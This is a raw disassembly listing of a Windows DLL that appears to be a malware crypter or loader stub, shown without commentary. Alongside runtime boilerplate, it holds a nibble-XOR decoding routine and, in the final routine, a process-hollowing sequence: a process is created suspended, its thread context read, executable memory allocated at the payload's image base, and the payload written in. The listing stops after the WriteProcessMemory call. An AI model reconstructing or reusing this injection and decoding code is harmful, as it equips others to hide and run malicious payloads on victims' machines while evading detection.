					; sub_10003A08+6Ap
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		mov	esi, edx
		xor	edi, edi
		test	edx, edx
		jle	short loc_10003179
		mov	eax, [ebx]
		test	eax, eax
		jz	short loc_1000315A
		cmp	dword ptr [eax-8], 1
		jnz	short loc_1000315A
		sub	eax, 8
		add	edx, 9
		push	eax
		mov	eax, esp
		call	sub_10002464
		pop	eax
		add	eax, 8
		mov	[ebx], eax
		mov	[eax-4], esi
		mov	byte ptr [esi+eax], 0
		jmp	short loc_10003182
; ---------------------------------------------------------------------------


loc_1000315A:				; CODE XREF: sub_10003124+11j
					; sub_10003124+17j
		mov	eax, edx
		call	sub_10003058
		mov	edi, eax
		mov	eax, [ebx]
		test	eax, eax
		jz	short loc_10003179
		mov	edx, edi
		mov	ecx, [eax-4]
		cmp	ecx, esi
		jl	short loc_10003174
		mov	ecx, esi


loc_10003174:				; CODE XREF: sub_10003124+4Cj
		call	sub_10002528


loc_10003179:				; CODE XREF: sub_10003124+Bj
					; sub_10003124+43j
		mov	eax, ebx
		call	sub_10002FC0
		mov	[ebx], edi


loc_10003182:				; CODE XREF: sub_10003124+34j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_10003124	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_10003188	proc near		; CODE XREF: CODE:1000319Fp
					; DATA XREF: sub_100031A8:loc_100031AFo ...
		mov	al, 10h
		jmp	sub_1000250C
sub_10003188	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_10003190:				; DATA XREF: sub_100031A8+14o
					; BSS:off_10005648o
		mov	ax, [eax]
		sub	ax, 2
		jb	short locret_100031A4
		sub	ax, 8
		jz	short locret_100031A4
		call	sub_10003188
; ---------------------------------------------------------------------------

locret_100031A4:			; CODE XREF: CODE:10003197j
					; CODE:1000319Dj
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_100031A8	proc near		; CODE XREF: sub_10003318+4Fp
		mov	edx, offset off_10005648
		xor	eax, eax


loc_100031AF:				; CODE XREF: sub_100031A8+12j
		mov	dword ptr [edx+eax*4], offset sub_10003188
		inc	eax
		cmp	eax, 2Bh
		jnz	short loc_100031AF
		mov	eax, offset loc_10003190
		mov	ds:off_10005648, eax
		retn
sub_100031A8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_100031C8	proc near		; DATA XREF: sub_10003318+17o
					; BSS:off_10005000o
		mov	al, 11h
		jmp	sub_1000250C
sub_100031C8	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_100031D0	proc near		; CODE XREF: sub_1000323C+1Bp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], eax
		mov	eax, ds:dword_10004020
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_10003223


loc_100031EA:				; CODE XREF: sub_100031D0+51j
		xor	eax, eax
		push	ebp
		push	offset loc_1000320B
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	ebx, [ebp+var_8]
		mov	eax, [ebp+var_4]
		call	dword ptr [ebx+4]
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		jmp	short loc_10003215
; ---------------------------------------------------------------------------


loc_1000320B:				; DATA XREF: sub_100031D0+1Do
		jmp	loc_10002930
; ---------------------------------------------------------------------------
		call	sub_10002AE8


loc_10003215:				; CODE XREF: sub_100031D0+39j
		mov	eax, [ebp+var_8]
		mov	eax, [eax]
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_100031EA


loc_10003223:				; CODE XREF: sub_100031D0+18j
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_100031D0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_1000322C	proc near		; CODE XREF: sub_10003444+5p
		mov	edx, ds:dword_1000401C
		mov	[eax], edx
		mov	ds:dword_1000401C, eax
		retn
sub_1000322C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000323C	proc near		; CODE XREF: sub_10002ED0+70p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], eax
		xor	edx, edx
		push	ebp
		push	offset loc_100032A0
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		mov	eax, [ebp+var_4]
		mov	eax, [eax+4]
		call	sub_100031D0
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_100032A7


loc_10003269:				; CODE XREF: sub_1000323C+69j
		mov	eax, [ebp+var_4]
		cmp	eax, ds:dword_1000401C
		jnz	short loc_10003280
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		mov	ds:dword_1000401C, eax
		jmp	short loc_1000329F
; ---------------------------------------------------------------------------


loc_10003280:				; CODE XREF: sub_1000323C+36j
		mov	eax, ds:dword_1000401C
		test	eax, eax
		jz	short loc_1000329F


loc_10003289:				; CODE XREF: sub_1000323C+61j
		mov	edx, [eax]
		cmp	edx, [ebp+var_4]
		jnz	short loc_10003299
		mov	edx, [ebp+var_4]
		mov	edx, [edx]
		mov	[eax], edx
		jmp	short loc_1000329F
; ---------------------------------------------------------------------------


loc_10003299:				; CODE XREF: sub_1000323C+52j
		mov	eax, [eax]
		test	eax, eax
		jnz	short loc_10003289


loc_1000329F:				; CODE XREF: sub_1000323C+42j
					; sub_1000323C+4Bj ...
		retn
; ---------------------------------------------------------------------------


loc_100032A0:				; DATA XREF: sub_1000323C+Ao
		jmp	loc_10002A5C
; ---------------------------------------------------------------------------
		jmp	short loc_10003269
; ---------------------------------------------------------------------------


loc_100032A7:				; CODE XREF: sub_1000323C:loc_1000329Fj
					; DATA XREF: sub_1000323C+28o
		pop	ecx
		pop	ebp
		retn
sub_1000323C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_100032AC	proc near		; CODE XREF: sub_10003710+268p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_100032BA
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_100032BA:				; CODE XREF: sub_100032AC+8j
		call	ds:off_10004028
		pop	ebp
		retn
sub_100032AC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_100032C4	proc near		; DATA XREF: CODE:100039ECo
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_1000330E
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_100055A4
		jnz	short loc_10003300
		mov	eax, offset dword_10005038
		call	sub_100026B4
		mov	eax, offset dword_10005204
		call	sub_100026B4
		mov	eax, offset dword_100053D0
		call	sub_100026B4
		call	sub_10001834


loc_10003300:				; CODE XREF: sub_100032C4+17j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_10003315


loc_1000330D:				; CODE XREF: sub_100032C4+4Fj
		retn
; ---------------------------------------------------------------------------


loc_1000330E:				; DATA XREF: sub_100032C4+6o
		jmp	loc_10002A5C
; ---------------------------------------------------------------------------
		jmp	short loc_1000330D
; ---------------------------------------------------------------------------


loc_10003315:				; CODE XREF: sub_100032C4:loc_1000330Dj
					; DATA XREF: sub_100032C4+44o
		pop	ebp
		retn
sub_100032C4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10003318	proc near		; DATA XREF: CODE:100039E8o
		sub	ds:dword_100055A4, 1
		jnb	short locret_1000338A
		mov	ds:byte_10004008, 2
		mov	ds:byte_10005036, 2
		mov	ds:off_10005000, offset	sub_100031C8
		call	sub_10002734
		test	al, al
		jz	short loc_10003347
		call	sub_10002764


loc_10003347:				; CODE XREF: sub_10003318+28j
		call	sub_10002828
		mov	ds:word_1000503C, 0D7B0h
		mov	ds:word_10005208, 0D7B0h
		mov	ds:word_100053D4, 0D7B0h
		call	sub_100031A8
		call	sub_10001048	; GetCommandLineA
		mov	ds:dword_1000502C, eax
		call	sub_10001080
		mov	ds:dword_10005028, eax
		call	sub_10001078	; GetCurrentThreadId
		mov	ds:dword_10005020, eax

locret_1000338A:			; CODE XREF: sub_10003318+7j
		retn
sub_10003318	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_1000338C	proc near		; CODE XREF: sub_10003450+Cp
		jmp	ds:dword_100060F4
sub_1000338C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10003394	proc near		; CODE XREF: sub_100033AC+3p
		jmp	ds:dword_100060F0
sub_10003394	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_1000339C	proc near		; CODE XREF: sub_10003404+25p
					; sub_10003404+36p
		jmp	ds:dword_100060EC
sub_1000339C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_100033A4	proc near		; CODE XREF: sub_100033C0+3Dp
		jmp	ds:dword_100060E8
sub_100033A4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_100033AC	proc near		; CODE XREF: sub_100033C0+21p
		push	eax
		push	40h
		call	sub_10003394	; LocalAlloc
		retn
sub_100033AC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_100033B8	proc near		; CODE XREF: sub_100033C0+1p
		mov	eax, 8
		retn
sub_100033B8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_100033C0	proc near		; CODE XREF: sub_10003404:loc_1000341Ep
		push	ebx
		call	sub_100033B8
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_10003402
		cmp	ds:TlsIndex, 0FFFFFFFFh
		jnz	short loc_100033DF
		mov	eax, 0E2h
		call	sub_10002FB4
; ---------------------------------------------------------------------------


loc_100033DF:				; CODE XREF: sub_100033C0+13j
		mov	eax, ebx
		call	sub_100033AC
		test	eax, eax
		jnz	short loc_100033F6
		mov	eax, 0E2h
		call	sub_10002FB4
; ---------------------------------------------------------------------------
		jmp	short loc_10003402
; ---------------------------------------------------------------------------


loc_100033F6:				; CODE XREF: sub_100033C0+28j
		push	eax
		mov	eax, ds:TlsIndex
		push	eax
		call	sub_100033A4	; TlsSetValue


loc_10003402:				; CODE XREF: sub_100033C0+Aj
					; sub_100033C0+34j
		pop	ebx
		retn
sub_100033C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_10003404	proc near		; CODE XREF: sub_100024C0+20p
					; sub_10002518+3p ...
		mov	cl, ds:byte_100056F4
		mov	eax, ds:TlsIndex
		test	cl, cl
		jnz	short loc_10003439
		mov	edx, large fs:2Ch
		mov	eax, [edx+eax*4]
		retn
; ---------------------------------------------------------------------------


loc_1000341E:				; CODE XREF: sub_10003404+3Dj
		call	sub_100033C0
		mov	eax, ds:TlsIndex
		push	eax
		call	sub_1000339C	; TlsGetValue
		test	eax, eax
		jz	short loc_10003433
		retn
; ---------------------------------------------------------------------------


loc_10003433:				; CODE XREF: sub_10003404+2Cj
		mov	eax, ds:dword_10005708
		retn
; ---------------------------------------------------------------------------


loc_10003439:				; CODE XREF: sub_10003404+Dj
		push	eax
		call	sub_1000339C	; TlsGetValue
		test	eax, eax
		jz	short loc_1000341E
		retn
sub_10003404	endp


; =============== S U B	R O U T	I N E =======================================



sub_10003444	proc near		; CODE XREF: sub_10003450+2Ep
		mov	eax, (offset a123456789abcde+0Fh)
		call	sub_1000322C
		retn
sub_10003444	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_10003450	proc near		; CODE XREF: sub_10003A08+13p
		push	ebx
		mov	ebx, eax
		xor	eax, eax
		mov	ds:TlsIndex, eax
		push	0
		call	sub_1000338C	; GetModuleHandleA
		mov	ds:dword_10005700, eax
		mov	eax, ds:dword_10005700
		mov	ds:dword_10004088, eax
		xor	eax, eax
		mov	ds:dword_1000408C, eax
		xor	eax, eax
		mov	ds:dword_10004090, eax
		call	sub_10003444
		mov	edx, (offset a123456789abcde+0Fh)
		mov	eax, ebx
		call	sub_10002D78
		pop	ebx
		retn
sub_10003450	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10003494	proc near		; DATA XREF: CODE:100039E4o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_100034B9
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_10005704
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_100034C0


loc_100034B8:				; CODE XREF: sub_10003494+2Aj
		retn
; ---------------------------------------------------------------------------


loc_100034B9:				; DATA XREF: sub_10003494+6o
		jmp	loc_10002A5C
; ---------------------------------------------------------------------------
		jmp	short loc_100034B8
; ---------------------------------------------------------------------------


loc_100034C0:				; CODE XREF: sub_10003494:loc_100034B8j
					; DATA XREF: sub_10003494+1Fo
		pop	ebp
		retn
sub_10003494	endp

; ---------------------------------------------------------------------------
		align 4


loc_100034C4:				; DATA XREF: CODE:off_100039E0o
		sub	ds:dword_10005704, 1
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_100034CC	proc near		; DATA XREF: CODE:100039F4o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_100034F1
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_1000570C
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_100034F8


loc_100034F0:				; CODE XREF: sub_100034CC+2Aj
		retn
; ---------------------------------------------------------------------------


loc_100034F1:				; DATA XREF: sub_100034CC+6o
		jmp	loc_10002A5C
; ---------------------------------------------------------------------------
		jmp	short loc_100034F0
; ---------------------------------------------------------------------------


loc_100034F8:				; CODE XREF: sub_100034CC:loc_100034F0j
					; DATA XREF: sub_100034CC+1Fo
		pop	ebp
		retn
sub_100034CC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_100034FC	proc near		; DATA XREF: CODE:100039F0o
		sub	ds:dword_1000570C, 1
		retn
sub_100034FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10003504	proc near		; CODE XREF: sub_10003710+18Dp
		jmp	ds:dword_10006128
sub_10003504	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_1000350C	proc near		; CODE XREF: sub_10003A08+33p
		jmp	ds:dword_10006124
sub_1000350C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10003514	proc near		; CODE XREF: sub_10003A08+83p
		jmp	ds:dword_10006120
sub_10003514	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_1000351C	proc near		; CODE XREF: sub_10003710+1AAp
		jmp	ds:dword_1000611C
sub_1000351C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10003524	proc near		; CODE XREF: sub_10003A08+4Fp
		jmp	ds:dword_10006118
sub_10003524	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_1000352C	proc near		; CODE XREF: sub_10003A08+57p
		jmp	ds:dword_10006114
sub_1000352C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10003534	proc near		; CODE XREF: sub_10003710+1C7p
		jmp	ds:dword_10006110
sub_10003534	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_1000353C	proc near		; CODE XREF: sub_10003710+252p
		jmp	ds:dword_1000610C
sub_1000353C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10003544	proc near		; CODE XREF: sub_10003710+246p
		jmp	ds:dword_10006108
sub_10003544	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_1000354C	proc near		; CODE XREF: sub_10003A08+41p
		jmp	ds:dword_10006104
sub_1000354C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10003554	proc near		; CODE XREF: sub_10003710+1E5p
		jmp	ds:dword_10006100
sub_10003554	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_1000355C	proc near		; CODE XREF: sub_10003710+204p
					; sub_10003710+224p
		jmp	ds:dword_100060FC
sub_1000355C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10003564	proc near		; CODE XREF: sub_10003710+9Bp
					; sub_10003710+F3p ...
		xchg	eax, edx
		call	sub_10002528
		retn
sub_10003564	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_1000356C	proc near		; CODE XREF: sub_10003710+143p
					; sub_10003710+153p
		xor	ecx, ecx
		call	sub_1000270C
		retn
sub_1000356C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10003574	proc near		; DATA XREF: CODE:100039FCo
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_10003599
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_10005710
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_100035A0


loc_10003598:				; CODE XREF: sub_10003574+2Aj
		retn
; ---------------------------------------------------------------------------


loc_10003599:				; DATA XREF: sub_10003574+6o
		jmp	loc_10002A5C
; ---------------------------------------------------------------------------
		jmp	short loc_10003598
; ---------------------------------------------------------------------------


loc_100035A0:				; CODE XREF: sub_10003574:loc_10003598j
					; DATA XREF: sub_10003574+1Fo
		pop	ebp
		retn
sub_10003574	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_100035A4	proc near		; DATA XREF: CODE:100039F8o
		sub	ds:dword_10005710, 1
		retn
sub_100035A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_100035AC	proc near		; CODE XREF: sub_10003A08+95p

var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_C], ecx
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		call	sub_100030BC
		mov	eax, [ebp+var_8]
		call	sub_100030BC
		xor	eax, eax
		push	ebp
		push	offset loc_10003663
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	esi, 1
		mov	eax, [ebp+var_4]
		call	sub_100030B4
		mov	edi, eax
		test	edi, edi
		jle	short loc_1000363D
		mov	ebx, 1


loc_100035F4:				; CODE XREF: sub_100035AC+8Fj
		mov	eax, [ebp+var_4]
		mov	al, [eax+ebx-1]
		and	al, 0Fh
		mov	edx, [ebp+var_8]
		mov	dl, [edx+esi-1]
		and	dl, 0Fh
		xor	al, dl
		mov	[ebp+var_D], al
		lea	eax, [ebp+var_4]
		call	sub_1000311C
		mov	edx, [ebp+var_4]
		mov	dl, [edx+ebx-1]
		and	dl, 0F0h
		mov	cl, [ebp+var_D]
		add	dl, cl
		mov	[eax+ebx-1], dl
		inc	esi
		mov	eax, [ebp+var_8]
		call	sub_100030B4
		cmp	esi, eax
		jle	short loc_10003639
		mov	esi, 1


loc_10003639:				; CODE XREF: sub_100035AC+86j
		inc	ebx
		dec	edi
		jnz	short loc_100035F4


loc_1000363D:				; CODE XREF: sub_100035AC+41j
		mov	eax, [ebp+var_C]
		mov	edx, [ebp+var_4]
		call	sub_10003014
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_1000366A


loc_10003655:				; CODE XREF: sub_100035AC+BCj
		lea	eax, [ebp+var_8]
		mov	edx, 2
		call	sub_10002FE4
		retn
; ---------------------------------------------------------------------------


loc_10003663:				; DATA XREF: sub_100035AC+25o
		jmp	loc_10002A5C
; ---------------------------------------------------------------------------
		jmp	short loc_10003655
; ---------------------------------------------------------------------------


loc_1000366A:				; CODE XREF: sub_100035AC+B6j
					; DATA XREF: sub_100035AC+A4o
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_100035AC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10003674	proc near		; CODE XREF: sub_10003710+ACp
					; sub_10003710+105p ...
		push	ebx
		mov	ebx, edx
		mov	ecx, eax
		mov	eax, ecx
		xor	edx, edx
		div	ebx
		test	edx, edx
		jnz	short loc_10003687
		mov	eax, ecx
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_10003687:				; CODE XREF: sub_10003674+Dj
		mov	eax, ecx
		xor	edx, edx
		div	ebx
		inc	eax
		imul	ebx
		pop	ebx
		retn
sub_10003674	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10003694	proc near		; CODE XREF: sub_10003710+34p

var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		push	ecx
		mov	ecx, [eax+3Ch]
		add	ecx, eax
		mov	edi, [ecx+38h]
		mov	ebx, [ecx+54h]
		mov	eax, ebx
		xor	edx, edx
		div	edi
		test	edx, edx
		jnz	short loc_100036B3
		mov	[esp+14h+var_14], ebx
		jmp	short loc_100036BF
; ---------------------------------------------------------------------------


loc_100036B3:				; CODE XREF: sub_10003694+18j
		mov	eax, ebx
		xor	edx, edx
		div	edi
		inc	eax
		imul	edi
		mov	[esp+14h+var_14], eax


loc_100036BF:				; CODE XREF: sub_10003694+1Dj
		lea	esi, [ecx+18h]
		movzx	eax, word ptr [ecx+14h]
		add	esi, eax
		movzx	ebx, word ptr [ecx+6]
		dec	ebx
		test	ebx, ebx
		jb	short loc_10003707
		inc	ebx
		xor	ecx, ecx


loc_100036D4:				; CODE XREF: sub_10003694+71j
		lea	eax, [ecx+ecx*4]
		mov	ebp, [esi+eax*8+8]
		test	ebp, ebp
		jz	short loc_10003703
		lea	eax, [ecx+ecx*4]
		mov	eax, ebp
		xor	edx, edx
		div	edi
		test	edx, edx
		jnz	short loc_100036F4
		lea	eax, [ecx+ecx*4]
		add	[esp+14h+var_14], ebp
		jmp	short loc_10003703
; ---------------------------------------------------------------------------


loc_100036F4:				; CODE XREF: sub_10003694+56j
		lea	eax, [ecx+ecx*4]
		mov	eax, ebp
		xor	edx, edx
		div	edi
		inc	eax
		imul	edi
		add	[esp+14h+var_14], eax


loc_10003703:				; CODE XREF: sub_10003694+49j
					; sub_10003694+5Ej
		inc	ecx
		dec	ebx
		jnz	short loc_100036D4


loc_10003707:				; CODE XREF: sub_10003694+3Bj
		mov	eax, [esp+14h+var_14]
		pop	edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_10003694	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10003710	proc near		; CODE XREF: sub_10003A08+B1p

var_140		= dword	ptr -140h
var_13C		= byte ptr -13Ch
var_F8		= dword	ptr -0F8h
var_F4		= dword	ptr -0F4h
var_E8		= dword	ptr -0E8h
var_44		= dword	ptr -44h
var_38		= dword	ptr -38h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFEC0h
		push	ebx
		push	esi
		push	edi
		xor	edx, edx
		mov	[ebp+var_140], edx
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	ebp
		push	offset loc_1000399F
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_4]
		mov	eax, [eax+3Ch]
		add	eax, [ebp+var_4]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+var_4]
		call	sub_10003694
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		call	sub_10002424
		mov	[ebp+var_1C], eax
		xor	edx, edx
		push	ebp
		push	offset loc_1000397F
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		mov	eax, [ebp+var_1C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_18]
		mov	eax, [eax+54h]
		mov	edx, [ebp+var_18]
		lea	esi, [edx+18h]
		mov	edx, [ebp+var_18]
		movzx	edx, word ptr [edx+14h]
		add	esi, edx
		mov	edx, [ebp+var_18]
		movzx	edi, word ptr [edx+6]
		dec	edi
		test	edi, edi
		jb	short loc_100037A3
		inc	edi
		xor	ebx, ebx


loc_1000378F:				; CODE XREF: sub_10003710+91j
		lea	edx, [ebx+ebx*4]
		cmp	eax, [esi+edx*8+14h]
		jbe	short loc_1000379F
		lea	eax, [ebx+ebx*4]
		mov	eax, [esi+eax*8+14h]


loc_1000379F:				; CODE XREF: sub_10003710+86j
		inc	ebx
		dec	edi
		jnz	short loc_1000378F


loc_100037A3:				; CODE XREF: sub_10003710+7Aj
		mov	ecx, eax
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_14]
		call	sub_10003564
		mov	eax, [ebp+var_18]
		mov	edx, [eax+38h]
		mov	eax, [ebp+var_18]
		mov	eax, [eax+54h]
		call	sub_10003674
		add	eax, [ebp+var_14]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_18]
		movzx	edi, word ptr [eax+6]
		dec	edi
		test	edi, edi
		jb	short loc_10003848
		inc	edi
		xor	ebx, ebx


loc_100037D6:				; CODE XREF: sub_10003710+136j
		lea	eax, [ebx+ebx*4]
		mov	eax, [esi+eax*8+10h]
		test	eax, eax
		jbe	short loc_10003822
		lea	edx, [ebx+ebx*4]
		lea	edx, [ebx+ebx*4]
		cmp	eax, [esi+edx*8+8]
		jbe	short loc_100037F4
		lea	eax, [ebx+ebx*4]
		mov	eax, [esi+eax*8+8]


loc_100037F4:				; CODE XREF: sub_10003710+DBj
		lea	edx, [ebx+ebx*4]
		mov	edx, [esi+edx*8+14h]
		add	edx, [ebp+var_4]
		mov	ecx, eax
		mov	eax, [ebp+var_14]
		call	sub_10003564
		lea	eax, [ebx+ebx*4]
		mov	eax, [esi+eax*8+8]
		mov	edx, [ebp+var_18]
		mov	edx, [edx+38h]
		call	sub_10003674
		add	eax, [ebp+var_14]
		mov	[ebp+var_14], eax
		jmp	short loc_10003844
; ---------------------------------------------------------------------------


loc_10003822:				; CODE XREF: sub_10003710+CFj
		lea	eax, [ebx+ebx*4]
		cmp	dword ptr [esi+eax*8+8], 0
		jz	short loc_10003844
		lea	eax, [ebx+ebx*4]
		mov	eax, [esi+eax*8+8]
		mov	edx, [ebp+var_18]
		mov	edx, [edx+38h]
		call	sub_10003674
		add	eax, [ebp+var_14]
		mov	[ebp+var_14], eax


loc_10003844:				; CODE XREF: sub_10003710+110j
					; sub_10003710+11Aj
		inc	ebx
		dec	edi
		jnz	short loc_100037D6


loc_10003848:				; CODE XREF: sub_10003710+C1j
		lea	eax, [ebp+var_13C]
		mov	edx, 44h
		call	sub_1000356C
		lea	eax, [ebp+var_E8]
		mov	edx, 0CCh
		call	sub_1000356C
		lea	eax, [ebp+var_F8]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	0
		push	0
		push	4
		push	0
		push	0
		push	0
		lea	edx, [ebp+var_140]
		xor	eax, eax
		call	sub_10002654
		mov	eax, [ebp+var_140]
		call	sub_100030CC
		push	eax
		push	0
		call	sub_10003504	; CreateProcessA
		mov	[ebp+var_E8], 10007h
		lea	eax, [ebp+var_E8]
		push	eax
		mov	eax, [ebp+var_F4]
		push	eax
		call	sub_1000351C	; GetThreadContext
		lea	eax, [ebp+var_C]
		push	eax
		push	4
		lea	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+var_44]
		add	eax, 8
		push	eax
		mov	eax, [ebp+var_F8]
		push	eax
		call	sub_10003534	; ReadProcessMemory
		push	40h
		push	3000h
		mov	eax, [ebp+var_10]
		push	eax
		mov	eax, [ebp+var_18]
		mov	eax, [eax+34h]
		push	eax
		mov	eax, [ebp+var_F8]
		push	eax
		call	sub_10003554	; VirtualAllocEx
		lea	eax, [ebp+var_C]
		push	eax
		mov	eax, [ebp+var_10]
		push	eax
		mov	eax, [ebp+var_1C]
		push	eax
		mov	eax, [ebp+var_18]
		mov	eax, [eax+34h]
		push	eax
		mov	eax, [ebp+var_F8]
		push	eax
		call	sub_1000355C	; WriteProcessMemory
